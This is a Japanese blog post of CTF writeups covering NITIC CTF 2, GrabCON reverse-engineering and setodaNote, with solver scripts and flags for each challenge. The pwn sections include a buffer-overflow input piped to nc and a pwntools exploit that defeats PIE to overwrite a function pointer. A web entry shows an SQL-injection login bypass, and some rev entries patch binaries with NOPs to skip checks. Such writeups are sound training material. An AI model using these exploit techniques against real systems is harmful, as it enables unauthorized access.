NITIC CTF 2 Writeup
Satoooon氏(twitter)にseccampにて本CTFについて教えていただき、ゆるゆると参加させていただきました。初心者の方が多く参加されているらしいので、いつも書いているWriteupよりも説明を多めに入れています。
主催者の皆様、素晴らしい時間をありがとうございました。
Web
web_meta
配布されたHTMLファイルの7行目にFlagが書かれています。
<meta name="description" content="flag is nitic_ctf{You_can_see_dev_too1!}">
Flag: nitic_ctf{You_can_see_dev_too1!}
long flag
問題文にてURLが渡されているのでアクセスしてみると、なにも無い (ように見える) ページが表示されます。HTMLソースを読むことでFlagは一文字ずつ span
タグに囲まれた上で display: none;
スタイルによって隠されていることなどがわかります。以下は幾つか存在する解き方の一例です。
>>> import requests >>> requests.get('https://quizzical-mcnulty-e4cdbf.netlify.app/').content.decode().replace('<span>','').replace('</span>','')[301:-469] 'nitic_ctf{Jy!Hxj$RdB$uA,b$uM.bN7AidL6qe4gkrB9dMU-jY8KU828ByP9E#YDi9byaF4sQ-p/835r26MT!QwWWM|c!ia(ynt48hBs&-,|3}'
Flag: nitic_ctf{Jy!Hxj$RdB$uA,b$uM.bN7AidL6qe4gkrB9dMU-jY8KU828ByP9E#YDi9byaF4sQ-p/835r26MT!QwWWM|c!ia(ynt48hBs&-,|3}
Pwn
pwn monster 1
バッファオーバーフローの脆弱性を突く問題です。
$ nc 35.200.120.35 9001 ____ __ __ _ | _ \__ ___ __ | \/ | ___ _ __ ___| |_ ___ _ __ | |_) \ \ /\ / / '_ \| |\/| |/ _ \| '_ \/ __| __/ _ \ '__| | __/ \ V V /| | | | | | | (_) | | | \__ \ || __/ | |_| \_/\_/ |_| |_|_| |_|\___/|_| |_|___/\__\___|_| Press Any Key Welcome to Pwn Monster World! I'll give your first monster! Let's give your monster a name! +--------+--------------------+----------------------+ |name | 0x0000000000000000 | | | | 0x0000000000000000 | | |HP | 0x0000000000000064 | 100 | |ATK | 0x000000000000000a | 10 | +--------+--------------------+----------------------+ Input name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +--------+--------------------+----------------------+ |name | 0x4141414141414141 | AAAAAAAA | | | 0x4141414141414141 | AAAAAAAA | |HP | 0x4141414141414141 | 4702111234474983745 | |ATK | 0x4141414141414141 | 4702111234474983745 | +--------+--------------------+----------------------+ OK, Nice name. Let's battle with Rival! If you win, give you FLAG. [You] AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApwnchu HP: 4702111234474983745 [Rival] pwnchu HP: 9999 Your Turn. Rival monster took 4702111234474983745 damage! [You] AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApwnchu HP: 4702111234474983745 [Rival] pwnchu HP: -4702111234474973746 Win! nitic_ctf{We1c0me_t0_pwn_w0r1d!}
Flag: nitic_ctf{We1c0me_t0_pwn_w0r1d!}
pwn monster 2
配布されたソースコードを読むことで各種値を格納している変数の型が int64_t
であり、チェックサムを突破した上で変数の値をオーバーフローさせられるだろうことがわかります。pwn monster 1
と同じようにバッファオーバーフローの脆弱性を突き、相手の体力値をオーバーフローさせて負の値にすることでFlagを入手することができます。
$ echo -e "AAAAAAAAAAAAAAAA\x6f\x00\x00\x00\x00\x00\x00\x30\xff\xff\xff\xff\xff\xff\xff\xcf" | nc 35.200.120.35 9002 ____ __ __ _ | _ \__ ___ __ | \/ | ___ _ __ ___| |_ ___ _ __ | |_) \ \ /\ / / '_ \| |\/| |/ _ \| '_ \/ __| __/ _ \ '__| | __/ \ V V /| | | | | | | (_) | | | \__ \ || __/ | |_| \_/\_/ |_| |_|_| |_|\___/|_| |_|___/\__\___|_| Press Any Key Welcome to Pwn Monster World! I'll give first monster! Let's give your monster a name! +--------+--------------------+----------------------+ |name | 0x0000000000000000 | | | | 0x0000000000000000 | | |HP | 0x0000000000000064 | 100 | |ATK | 0x000000000000000a | 10 | +--------+--------------------+----------------------+ Checksum: 110 Input name: +--------+--------------------+----------------------+ |name | 0x4141414141414141 | AAAAAAAA | | | 0x4141414141414141 | AAAAAAAA | |HP | 0x300000000000006f | 3458764513820541039 | |ATK | 0xcfffffffffffffff | -3458764513820540929 | +--------+--------------------+----------------------+ Checksum: 110 OK, Nice name. Let's battle with Rival! If you win, give you FLAG. [You] AAAAAAAAAAAAAAAAo HP: 3458764513820541039 [Rival] pwnchu HP: 9999 Your Turn. Rival monster took -3458764513820540929 damage! [You] AAAAAAAAAAAAAAAAo HP: 3458764513820541039 [Rival] pwnchu HP: 3458764513820550928 Rival Turn. Your monster took 9999 damage! [You] AAAAAAAAAAAAAAAA`������/��������pwnchu HP: 3458764513820531040 [Rival] pwnchu HP: 3458764513820550928 Your Turn. Rival monster took -3458764513820540929 damage! [You] AAAAAAAAAAAAAAAA`������/��������pwnchu HP: 3458764513820531040 [Rival] pwnchu HP: 6917529027641091857 Rival Turn. Your monster took 9999 damage! [You] AAAAAAAAAAAAAAAAQ������/��������pwnchu HP: 3458764513820521041 [Rival] pwnchu HP: 6917529027641091857 Your Turn. Rival monster took -3458764513820540929 damage! [You] AAAAAAAAAAAAAAAAQ������/��������pwnchu HP: 3458764513820521041 [Rival] pwnchu HP: -8070450532247918830 Win! nitic_ctf{buffer_and_1nteger_overfl0w}
Flag: nitic_ctf{buffer_and_1nteger_overfl0w}
pwn monster 3
問題文内で言及されている通り本問題では PIE
という実行バイナリのセキュリティ機構が有効化されており、単純に呼び出す関数のアドレスを show_flag
関数のアドレスに書き換えるだけではFlagを入手することができません。objdump
等を用いることで cry
関数と show_flag
関数のオフセットを把握し、出力される cry
関数のアドレスからベースアドレスを求め、それに show_flag
関数のオフセットを加算したアドレスを入力することでFlagを入手することができます。
Solver:
from pwn import * from struct import pack r = remote('35.200.120.35', 9003) r.recvuntil('|cry() | ') base_addr = int(r.recvuntil(' |')[:-2], 16) - 0x134e payload = b'A' * 32 payload += pack('<Q', base_addr + 0x1286) r.sendlineafter('Input name: ', payload) r.interactive()
Output:
> python .\solve.py [x] Opening connection to 35.200.120.35 on port 9003 [x] Opening connection to 35.200.120.35 on port 9003: Trying 35.200.120.35 [+] Opening connection to 35.200.120.35 on port 9003: Done [*] Switching to interactive mode +--------+--------------------+----------------------+ |name | 0x4141414141414141 | AAAAAAAA | | | 0x4141414141414141 | AAAAAAAA | |HP | 0x4141414141414141 | 4702111234474983745 | |ATK | 0x4141414141414141 | 4702111234474983745 | |cry() | 0x0000561bd7fc3286 | | +--------+--------------------+----------------------+ OK, Nice name. Let's battle with Rival! If you win, give you FLAG. [You] AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�2�� HP: 4702111234474983745 [Rival] pwnchu HP: 9999 Your Turn. nitic_ctf{rewrite_function_pointer_is_fun} AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�2��: (null) Rival monster took 4702111234474983745 damage! [You] AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�2�� HP: 4702111234474983745 [Rival] pwnchu HP: -4702111234474973746 Win! Rival: I don't want to give you FLAG! bye~~ [*] Got EOF while reading in interactive
Flag: nitic_ctf{rewrite_function_pointer_is_fun}
Misc
excel
Excelの検索機能で nitic_ctf{
を検索することでFlagを入手することができます。(U869セル)
Flag: nitic_ctf{plz_find_me}
image_conv
Steg問を解くツール (例)で画像を加工すれば (LSB Half
など) Flagを入手することができます。
Flag: nitic_ctf{high_contrast}
Rev
protected
平文でパスワードが格納されているので Ghidra
や strings
などを使ってパスワードを入手し、プログラムに入力することでFlagを入手することができます。
$ ./chall PASSWORD: sUp3r_s3Cr37_P4s5w0Rd nitic_ctf{hardcode_secret}
Flag: nitic_ctf{hardcode_secret}
report or repeat
Ghidra等でプログラムが何をしているのか詳しく見ていくと、暗号化処理等は行われておらず、XORでデータをエンコードしているだけだとわかります。 エンコード処理を行っている関数と逆の処理をするソルバを書くことで、Flagの書かれたPDFファイルを復元することができます。
ソルバを書く際に凡ミスして1時間くらい溶かしました(落単不可避)。
Solver:
import struct key1 = bytearray(b'\x06\x8c\x77\x86\x11\xed\x25\x89\x66\x64\x79\x7d\xc9\x0d\xa5\x99\x44\x6b\x71\x47\xaa\x9e\x1b\x0a\xc3\xbf\x1e\x6e\xa6\x82\xf0\x61\x84\x35\x42\x90\x87\xb2\xb0\xc2\x3d\xf4\x12\x73\x45\x3e\xe9\xcd\x26\x41\x33\xa4\x5b\x2d\x53\xe8\x3a\xc5\xbc\x18\xe5\xba\x81\xeb\x58\x9f\x49\xcc\x2f\xac\xcf\x8a\x0b\x48\x24\x9c\xa2\xb4\x15\xd0\x1f\x19\xd3\x16\xf3\x07\x4b\x78\x80\x34\xe2\x31\xc1\x57\x00\x7e\x5e\x70\x54\x21\x69\x9b\x46\x6a\xb6\xcb\x9a\x40\xb9\x17\x6d\x59\xfc\xea\x60\x32\xdf\x75\xe3\x62\x38\xa7\x85\xd7\x03\xf1\x83\xb5\x55\x5f\xee\xfd\xad\x0e\x6c\xa3\x20\xc0\x13\x08\x02\x5a\x72\x9d\x5d\xfb\x88\x93\xf9\x39\x74\xd8\xd2\x4f\x04\x67\x3f\xce\xe1\x4d\xd5\xca\x2c\x94\x2b\xdb\x09\x2a\x37\xe7\x95\x29\x4e\x22\x01\x0f\xdc\xd4\xc8\x56\x7a\x14\xf8\xb8\x30\x43\xa8\xa9\xf5\x8d\x5c\xab\x6f\x96\x1a\x23\x4a\x0c\x2e\x51\xd6\x92\xc7\x52\x8e\xe4\x4c\x65\x68\x97\xbb\x05\xdd\xbe\xef\x8b\xb7\x98\x76\xc4\xda\xb3\x7b\xa1\x36\xa0\x91\xaf\xf6\xfa\xe0\x10\x27\x1c\xbd\xfe\x50\xde\x7c\xf2\xb1\xae\xc6\xd9\xe6\x3c\xd1\x7f\xff\x63\x1d\xec\x3b\x8f\x28\xf7') key2 = bytearray(b'\x57\x85\x0e\x3b\xa5\x2f\x4c\x0a\x71\x75\xd5\x05\xff\x0b\x44\x2a\xd4\xb5\x11\xfa\x67\x23\xbd\xac\x9c\x47\x9d\x22\x5a\xef\x63\x39\xe5\xbf\x7e\x46\x64\xe3\x2e\xd1\xb9\x40\x92\x88\xa9\xa3\x02\x50\xc4\x35\x7d\x36\xcf\xe9\xb8\x96\xad\x98\x66\x74\x86\xc3\xec\x0f\x1c\x51\xe8\x1f\xc1\xd9\x16\x7f\xc0\xa8\xf4\x34\xc2\x19\x37\xea\x18\x42\x8b\xed\xda\xa1\x28\x1e\x3c\x6e\xa7\x8a\x09\x95\x94\x6d\x9e\x3d\x4a\x8f\x8c\x27\x5f\xe7\xde\xf8\xe0\x72\x6a\x82\x91\xeb\x08\xf9\xf5\xe2\x21\x2d\xe1\xf3\xc6\xba\x7a\x73\x01\x5d\xce\x3f\x59\xee\xcb\x60\x41\xd2\x58\xf6\xb4\x55\x78\x62\x70\x4e\xb2\xa4\xbb\xdb\xdc\x29\x9b\x97\xf7\x24\x76\x4b\x93\xa0\x43\xcc\x7b\xe6\x38\xa2\x65\xc5\xd8\x3a\x26\x8d\x69\xc7\xbc\x07\x25\xb1\x5e\xfb\xb0\x13\x77\xaf\x49\x99\xcd\xca\x04\xbe\x6c\xb7\x56\x6b\x17\x80\x87\x2b\x45\x81\x8e\x68\xf1\x53\x33\xa6\xfd\xd3\x0d\x2c\x14\x7c\x20\x83\x90\x4f\x1a\x89\xf0\xfe\x32\xdf\xd6\x06\x1b\xd0\xaa\xae\x79\xdd\x84\xe4\x03\x12\x9a\x6f\xab\xd7\x1d\x3e\xc9\x0c\x9f\x30\x10\x54\xb3\xf2\x15\x61\x5c\xb6\x31\x5b\x4d\xc8\xfc\x48\x52\x00') key3 = bytearray(b'\x72\x1e\xec\x52\x38\xe9\xb5\xc2\x46\x47\x75\x1f\x53\x0f\xea\x27\xcf\x57\xd7\x6e\x8c\x8c\x89\x2a\xf2\x86\x8a\x7b\x19\x7a\x2e\x01\xab\x15\x08\xd3\x2b\x5b\x9f\x7c\x86\xde\x5d\x98\x3c\x6f\x82\x58\xf2\xea\x85\x62\xa5\x77\xf3\x9e\x3e\x37\x10\x8b\x9e\xa0\x71\x1b\xce\x9d\x7e\x2f\xb3\x17\x01\x65\x14\x5c\x79\x2f\xad\xe1\x28\xf9\x55\x92\x3a\x69\x1f\x12\x5e\xa6\x41\xa4\xdb\xda\x47\x3b\xe3\x28\x08\x09\xe9\x9c\xfa\x22\x7c\x62\xd2\x05\x28\x86\x95\xe4\x45\x8e\xd2\xe7\xeb\x66\xed\x58\x64\x42\xba\xa9\x70\x21\xa0\x91\x51\x68\xff\x7e\xa9\x6c\x12\x33\xbb\x7a\xde\x1b\xe0\xed\xce\x7c\x04\x01\xcf\x23\x17\x36\x78\x1b\x06\xd3\x5e\x25\x5e\x98\x86\x50\x4a\x0d\x31\x0c\x39\x96\x6e\x72\x2b\xc2\x0f\x31\xdd\x4c\xd7\x44\xa9\xf9\xb7\xed\x40\xb9\x68\x73\xa6\xb0\xef\x3e\x2e\x37\x03\xb6\xe4\x4c\xcb\x5d\x83\x74\x10\xf0\x54\x62\xc1\x28\xdf\x5c\xff\xa7\x6e\x84\x59\x39\xeb\x63\xa0\x5b\x17\x3d\x97\xee\xcb\x8b\x21\x7b\x77\x98\xd5\xa9\x59\x44\x8d\x38\x70\x06\xef\x7b\x63\x10\x07\x44\x51\xe9\x89\x29\xce\x3d\x5a\x4a\x0c\x33\x32\x21\x65\xd1\x6d\x7f\xd5\x81') def decode(enc): res = [0] * 0x100 for i in range(0x100): j = enc[i] ^ key3[i] res[key2[i]] = key1.index(j) return res encoded = open('report.pdf.enc', 'rb') decoded = open('report.pdf', 'wb') while True: dat = [] for _ in range(0x100): try: dat.append(ord(encoded.read(1))) except TypeError: continue if dat == []: break dec = decode(dat) for i in range(0x100): decoded.write(struct.pack("B", dec[i]))
Output:
> python .\solve.py
Flag: nitic_ctf{xor+substitution+block-cipher}
Crypto
Caesar Cipher
CyberChefなどのツールを用いることでFlagを入手することができます。
Flag: nitic_ctf{caesar}
ord_xor
配布されたPythonプログラムを一部書き換えて実行することでFlagを入手することができます。
Solver:
encoded = open('flag', 'r').read() def xor(c: str, n: int) -> str: temp = ord(c) for _ in range(n): temp ^= n return chr(temp) flag = "" for i in range(len(encoded)): flag += xor(encoded[i], i) print(flag)
Output:
> python .\solve.py nitic_ctf{ord_xor}
Flag: nitic_ctf{ord_xor}
tanitu_kanji
配布されたPythonプログラムを一部書き換えて実行することでFlagを入手することができます。
Solver:
alphabets = "abcdefghijklmnopqrstuvwxyz0123456789{}_" after1 = "fl38ztrx6q027k9e5su}dwp{o_bynhm14aicjgv" after2 = "rho5b3k17pi_eytm2f94ujxsdvgcwl{}a086znq" encoded = open('flag', 'r').read() def conv(s: str, table: str) -> str: res = "" for c in s: i = table.index(c) res += alphabets[i] return res res = '' for f0 in ['0', '1']: for f1 in ['0', '1']: for f2 in ['0', '1']: for f3 in ['0', '1']: for f4 in ['0', '1']: for f5 in ['0', '1']: for f6 in ['0', '1']: for f7 in ['0', '1']: for f8 in ['0', '1']: for f9 in ['0', '1']: flag = encoded fmt = f0+f1+f2+f3+f4+f5+f6+f7+f8+f9 for f in fmt: if f == "1": flag = conv(flag, after1) else: flag = conv(flag, after2) if 'nitic' in flag: print('Format: ' + fmt) print('Flag: ' + flag)
Output:
> python .\solve.py Format: 1110010011 Flag: nitic_ctf{bit_full_search}
Flag: nitic_ctf{bit_full_search}
Welcome
アンケート
i am member of Satoooon-san fan club :)
「seccampでSatoooon氏に教えていただいた為」「フレキくんの大ファンだから」「nanigasi_sanが主催しているから♡」「道路さんが紹介していたから」
— nanigasi_san (@nanigasi_3) 2021年9月5日
ファンの方々
Flag: nitic_ctf{Thank_you_for_answering_the_questionnaire}
GrabCON CTF Writeup (Rev)
皆様お疲れ様でした。Revを4問解いたのでWriteup公開します。
Baby Rev
Ghidraなどのツールが正常に逆コンパイルできないバイナリを渡されて、そこからFlagを求める問題。多分 gdb
など使えばスムーズに解けますが、泥臭く静的解析のみで解くのであれば以下のような手順を辿ります。
# 逆アセンブル結果を読むと、明らかに怪しいXOR処理があるので試す >>> hex(0x99dfdf8d ^ 0xdeadbeef) '0x47726162' >>> flag_p1 = bytearray(b'\x47\x72\x61\x62') >>> for ech in flag_p1: ... print(chr(ech),end='') ... Grab # Flagの形式は "GrabCON{xxx}" なので、同じようにFlagを求めていく # XORのkeyは全て "0xdeadbeef" である
Flag: GrabCON{x0rr3d_4way_3ff10}
逆コンパイル結果に頼っている人にとってはツライかもですが、まあbabyなrev問だと思います。
easy_rev
整数値を比較してるだけ。
$ ./baby_re_2 Looking for the flag? Enter the key: 1312389 GrabCON{y0u_g0t_it_8bb31}
babyより簡単では......?
Flag: GrabCON{y0u_g0t_it_8bb31}
Unknown
strings
に投げるとUPXパッカーでパックされていることがわかるので、まずは実行バイナリをアンパックする。
# オリジナルのバイナリは消滅 (上書き) されるので注意 $ ./upx -d med_re_1
Ghidraで開いてみて、Access Granted
が出力された後に呼ばれる関数を中心に静的解析する。
ここでFlagをデコードしていることがわかるので (param_1
は定数で 1
) 以下のように解いた。
Solver:
>>> enc_flag = bytearray(b'\x48\x73\x62\x63\x44\x50\x4f\x7c\x74\x75\x73\x32\x6f\x68\x74\x60\x6e\x35\x68\x6a\x64\x60\x35\x35\x31\x67\x32\x7e') >>> for i in range(len(enc_flag)): ... print(chr((enc_flag[i] & 0xFF) - 1),end='') ... GrabCON{str1ngs_m4gic_440f1}
Flag: GrabCON{str1ngs_m4gic_440f1}
Unknown 2
Unknownと同じくUPXパッカーでパックされているので、まずアンパックします。
# オリジナルのバイナリは消滅 (上書き) されるので注意 $ ./upx -d med_re_2
Ghidraで開くとGo言語で書かれていそうだったのでgotoolsを解析環境に導入して解析を進めることにしました。最新版のGhidra (v10.x
) には対応していないようだったので、古いバージョンのGhidra (v9.0.4
) も併せて導入しました。
main.main
を解析すると、何をしても絶対に次の処理 (main.one
関数) に進まないことがわかります。BaseAddress+0x3f96
辺りにあるCMP命令とJNZ命令をNOPにパッチしておきましょう。
main.one
関数を見ていくと文字列を比較していると思われる部分を見つけることができます。細かく解析するのも面倒だったので、NOPで埋めて何を入力してもFlagを出力するようパッチを当てました。
これを実行すればFlagを入手することができます。
$ ./med_re_2 ___. .__ \_ |__ _____ | | _____ ____ ____ ____ | __ \\__ \ | | \__ \ / \_/ ___\/ __ \ | \_\ \/ __ \| |__/ __ \| | \ \__\ ___/ |___ (____ /____(____ /___| /\___ >___ > \/ \/ \/ \/ \/ \/ Enter the password: Here ya go -> GrabCON{ 626c61636b647261676f6e }
Flag: GrabCON{626c61636b647261676f6e}
setodaNote CTF Writeup
色々な問題をゆる~く解いたので、Writeupを共有させていただきます。
主催者のsoji256様 (twitter) 、素晴らしい時間をありがとうございました。
Misc
Welcome
$ cat welcome.txt Welcome to the setodaNote CTF!! *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* * * * flag{Enjoy_y0ur_time_here!} * * * *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* This is the flag.
Flag: flag{Enjoy_y0ur_time_here!}
morse_one
配布されたテキストをここに投げればFlagを入手することができる。
Flag: flag{VIBROPLEX}
Hash
Solver:
import hashlib import os hashes = ['aff02d6ad353ebf547f3b1f8ecd21efd7931e356f3930ab5ee502a391c5802d7', '8428f87e4dbbf1e95dba566b2095d989f5068a5465ebce96dcdf0b487edb8ecb', 'e82f6ff15ddc9d67fc28c4b2c575adf7252d6e829af55c2b7ac1615b304d8962'] flag = b'' for tfn in os.listdir(): with open(tfn, 'rb') as tf: dat = tf.read() mhash = hashlib.sha256(dat).hexdigest() for nhash in hashes: if nhash == mhash: flag += dat[:-1] print(flag.decode())
Output:
> python .\solver.py flag{hardest_logic_puzzle}
F
Brainf*ckだとわかるので、オンラインのインタプリタ (例) 上で実行するとFlagを入手することができる。
Flag: flag{Don't_Use_the_F-Word!!}
magic_number
スクリプトを書くか迷ったが、ファイル数が少なかったので手動(バイナリエディタを用いて)調査した。
Flag: flag{post_rar_light}
Stegano
StegSolve等で画像を調べればFlagを入手することができる。
Flag: flag{Re4l17y_1s_cReA73d_by_7h3_m1nd_rA9}
ransom_note
問題文に書いてある通り、The No More Ransom ProjectのWebsiteから復号ツールを探して配布されたZIPファイルを解凍したフォルダを対象に指定して復号すればFlagを入手することができる。
Flag: flag{unlock1ng_y0ur_d1gital_life_with0ut_paying;)}
Redacted
LibreOffice Drawなどのツールを用いて黒塗り部分を削除することでFlagを入手することができる。
Flag: flag{weather_balloon}
Network
Host
Wiresharkなどのツールを用いて配布されたpcapファイルを読むことで、Webサーバーのホスト名は ctf.setodanote.net
であることがわかる。
Flag: flag{ctf.setodanote.net}
tkys_never_die
Wiresharkなどのツールを用いて配布されたpcapファイルから flag.png
をエクスポートすることでFlagを入手することができる。
Flag: flag{a_treasure_trove}
echo_request
Echo Requestのデータ部分に一文字ずつFlagが格納されているので、文字に変換して結合するとFlagを入手することができる。
下では tshark
および Python
を用いてワンライナーでFlagを求めている。
$ tshark -r ./echo_request.pcap -Y '28<frame.number<55' -T fields -e data | python3 -c "import sys; [print(chr(int(l, 16)),end='') for l in list(sys.stdin)]; print()" flag{ICMP_Tunneling_T1095}
Flag: flag{ICMP_Tunneling_T1095}
stay_in_touch
Wiresharkを用いてpcapngファイル内のTCPストリームを追跡していくと、ZIPファイルがやり取りされていること、そのパスワードが Yatagarasu-Takama-Kamuyamato2
であるなどの情報を得ることができる。以下のような手順を用いることでFlagを入手することができる。
$ echo 'UEsDBBQAAQAAADBq8FK0Nz5zSgAAAD4AAAATAAAAUmVwb3J0LUFWLVQwMDk3LnR4dAzRMzm6s5vAM3huF0n2GEKFrarxVD3WvzurjKz9sjA7iD6nWis0GBRcIdcyrQkqliocBi2lCUB6J0hRUgHzDVCnVx6LnLS5LenqUEsBAj8AFAABAAAAMGrwUrQ3PnNKAAAAPgAAABMAJAAAAAAAAAAgAAAAAAAAAFJlcG9ydC1BVi1UMDA5Ny50eHQKACAAAAAAAAEAGADNWpx++XnXARJtllL6edcB0TOVfvl51wFQSwUGAAAAAAEAAQBlAAAAewAAAAAA' | base64 -d > t.zip $ unzip t.zip Archive: t.zip [t.zip] Report-AV-T0097.txt password: extracting: Report-AV-T0097.txt $ cat Report-AV-T0097.txt This is Flag. flag{SoNtOkIhAmOuKaTaHoUmOtSuMuRuNoSa;)}
Flag: flag{SoNtOkIhAmOuKaTaHoUmOtSuMuRuNoSa;)}
Digdig
まずtsharkやPythonでFlagの格納されているクエリ部分(加工済)を抽出する。
$ tshark -r digdig.pcap -Y '14 < frame.number' -T fields -e dns.qry.name | awk '(NR % 4 == 0){print}' | python3 -c "import sys; [print(l[6:8] + ' : ' + l[8:24]) for l in list(sys.stdin)];" 02 : 735f69735f44414d 06 : 63655f7472795f53 03 : 4d595f464c41477d 08 : 5f746861747d2066 0a : 6c61677b444e535f 0b : 5333637572313779 07 : 6f7272795f666f72 04 : 20666c6167206973 09 : 6c61672069732066 0c : 5f5431303731217d 11 : 797d323232323232 0d : 20666c6167206973 0f : 335f6b33795f3135 0e : 20666c61677b3768 01 : 666c61677b546869 10 : 5f35336375723137 00 : 666c616720697320 05 : 20666c61677b4e69
雑に手動でソートして、以下のようなスクリプトを実行することでFlagを入手することができる。
Solver:
import re dat = ['666c616720697320','666c61677b546869','735f69735f44414d','4d595f464c41477d','20666c6167206973','20666c61677b4e69','63655f7472795f53','6f7272795f666f72','5f746861747d2066','6c61672069732066','6c61677b444e535f','5333637572313779','5f5431303731217d','20666c6167206973','20666c61677b3768','335f6b33795f3135','5f35336375723137','797d323232323232'] for fd in dat: for fc in re.split('(..)',fd)[1::2]: print(chr(int(fc, 16)), end='') print('\n==========')
Output:
$ python3 digsolve.py flag is ========== flag{Thi ========== s_is_DAM ========== MY_FLAG} ========== flag is ========== flag{Ni ========== ce_try_S ========== orry_for ========== _that} f ========== lag is f ========== lag{DNS_ ========== S3cur17y ========== _T1071!} ========== flag is ========== flag{7h ========== 3_k3y_15 ========== _53cur17 ========== y}222222 ==========
Flag: flag{DNS_S3cur17y_T1071!}
Logger
USB通信を記録したpcapなので、まずLeftover Capture Dataを抽出する。
(今回は usblog.txt
というファイルに結果を保存した。)
$ tshark -r logger.pcap -T fields -e usb.capdata | awk '(NR % 2 != 0){print}' 0200000000000000 0200120000000000 0200000000000000 ・ ・ ・ 長いので省略 ・ ・ ・ 0000000000000000 0000280000000000 0000000000000000
その上でこのWriteupを参考に組み上げたスクリプトを実行すればFlagを入手することができる。
(スクリプトはほぼそのまま流用可能なので、こちらでソルバは掲載しない)
Flag: flag{QWE_keyb0ard_RTY}
Web
Body
問題名通り、HTMLソースの86行目にFlagが書かれている。
Flag: flag{Section_9}
Header
問題名通り、ヘッダにFlagが書かれている。
Flag: flag{Just_a_whisper}
puni_puni
日本語URL変換ツールなどを使用すればFlagを入手することができる。
Flag: flag{33punycode44}
Mistake
images
ディレクトリ内にFlagの書かれたテキストファイルが設置してあります。(リンク)
Flag: flag{You_are_the_Laughing_Man,_aren't_you?}
tkys_royale
ユーザー名に admin' --
のような値を入れてログインするとFlagを入手することができる。
Flag: flag{SQLi_with_b1rds_in_a_b34utiful_landscape}
Estimated
削除された記事自体は閲覧できなかったが、削除された記事の画像にはアクセスできたので、画像を見ることによってFlagを入手することができる。
(画像のURLは他記事の画像のURLから推測可能)
Flag: flag{The_flag_wouldn't_like_to_end_up_in_other_peoples_photos}
Redirect
JavaScriptコードによって彼方此方にリダイレクトしていくので、curl
コマンドを使いながら(パラメータ等を調整しながら)追跡していけばFlagを入手することができる。
$ curl "https://noisy-king-d0da.setodanote.net/?callback=getFlag&data1=2045&data2=0907&data3=BiancoRoja&data4=1704067200" <!DOCTYPE html> <body> <h1>Nice work!!</h1> <p>flag{Analyz1ng_Bad_Red1rects}</p> </body>
Flag: flag{Analyz1ng_Bad_Red1rects}
OSINT
tkys_with_love
Google画像検索を使用するだけでFlagを入手することができる。
Flag: flag{Symphony_of_the_Seas}
Dorks
知識問。
Flag: flag{inurl:login.php}
filters_op
答え。Twitterの検索フィルタについて知っていれば解ける。
Flag: flag{#WannaCrypt}
MAC
問題名および例示からMACアドレスのベンダー名の頭文字が対応する文字だとわかる。この法則に則って変換していけば、Flagを入手することができる。
Flag: flag{O_U_I_Y_A}
tkys_eys_only
40.749444N 73.968056W
をGoogle Mapで検索するだけ。
Flag: flag{United_Nations}
MITRE
MITRE ATT&CKの識別子に関連していることが問題文から予測できるので、とりあえず T1495T1152T1155T1144 T1130T1518
の解読を試みる。
T1495 : Firmware Corruption T1152 : Launchctl T1155 : AppleScript T1144 : Gatekeeper Bypass
頭文字を繋ぎ合わせると FLAG
になるため、それぞれのIDが指すテクニックの頭文字を繋ぎ合わせたものがFlagだとわかる。この法則に則って文字列を変換すればFlagを入手することができる。
Flag: flag{MITRE_ATTACK_MATLIX_THX}
Ropeway
Google画像検索に画像をアップロードすれば、浜名湖オルゴールミュージアムと舘山寺ロープウェイの近くであることがわかる。
Flag: flag{kanzanji}
Crypto
Base64
$ echo 'ZmxhZ3tJdCdzX2NhbGxlZF9iYXNlNjQhfQ==' | base64 -d flag{It's_called_base64!}
Flag: flag{It's_called_base64!}
ROT13
$ echo "synt{Rira_lbh_Oehghf?}" | python3 -c 'import sys, codecs; print(codecs.decode(sys.stdin.read(), "rot13"))' flag{Even_you_Brutus?}
Flag: flag{Even_you_Brutus?}
pui_pui
Solver:
dat = bytearray(b'\x41\x3a\x44\x6f\x20\x79\x6f\x75\x20\x6b\x6e\x6f\x77\x20\x4d\x6f\x6c\x63\x61\x72\x3f\x0a\x0a\x42\x3a\x4f\x66\x20\x63\x6f\x75\x72\x73\x65\x21\x20\x49\x20\x6c\x6f\x76\x65\x20\x74\x68\x65\x20\x73\x63\x65\x6e\x65\x20\x77\x68\x65\x72\x65\x20\x68\x65\x20\x73\x69\x6e\x6b\x73\x20\x69\x6e\x74\x6f\x20\x74\x68\x65\x20\x62\x6c\x61\x73\x74\x20\x66\x75\x72\x6e\x61\x63\x65\x20\x77\x68\x69\x6c\x65\x20\x67\x69\x76\x69\x6e\x67\x20\x74\x68\x65\x20\x74\x68\x75\x6d\x62\x73\x20\x75\x70\x2e\x0a\x0a\x41\x3a\x2e\x2e\x2e\x20\x57\x68\x61\x74\x3f\x0a\x0a\x42\x3a\x62\x74\x77\x2c\x20\x74\x68\x65\x20\x66\x6c\x61\x67\x20\x69\x73\x20\x66\x6c\x61\x67\x7b\x48\x61\x76\x65\x5f\x79\x6f\x75\x5f\x65\x76\x65\x72\x5f\x68\x65\x61\x72\x64\x5f\x6f\x66\x5f\x48\x65\x78\x64\x75\x6d\x70\x3f\x7d\x2e\x0a') for fch in dat: print(chr(fch),end='')
Output:
> python .\puipui_solver.py A:Do you know Molcar? B:Of course! I love the scene where he sinks into the blast furnace while giving the thumbs up. A:... What? B:btw, the flag is flag{Have_you_ever_heard_of_Hexdump?}.
Flag: flag{Have_you_ever_heard_of_Hexdump?}
tkys_secret_service
多分quipqiupに丸投げするのが一番早いと思います。
Decoded:
The protection of Fontrolled Nnclassified Onformation (FNO) resident in nonfederal systems and organizations is of paramount importance to federal agencies and can directly impact the ability of the federal government to successfully conduct its essential missions and functions. This publication provides agencies with recommended security requirements for protecting the confidentiality of FNO when the information is resident in nonfederal systems and organizations; when the nonfederal organization is not collecting or maintaining information on behalf of a federal agency or using or operating a system on behalf of an agency; and where there are no specific safeguarding requirements for protecting the confidentiality of Clag is flag{puipui_car_of_mol} FNO prescribed by the authorizing law, regulation, or governmentwide policy for the FNO category listed in the FNO Registry. The requirements apply to all components of nonfederal systems and organizations that process, store, and/or transmit FNO, or that provide protection for such components. The security requirements are intended for use by federal agencies in contractual vehicles or other agreements established between those agencies and nonfederal organizations.
Flag: flag{puipui_car_of_mol}
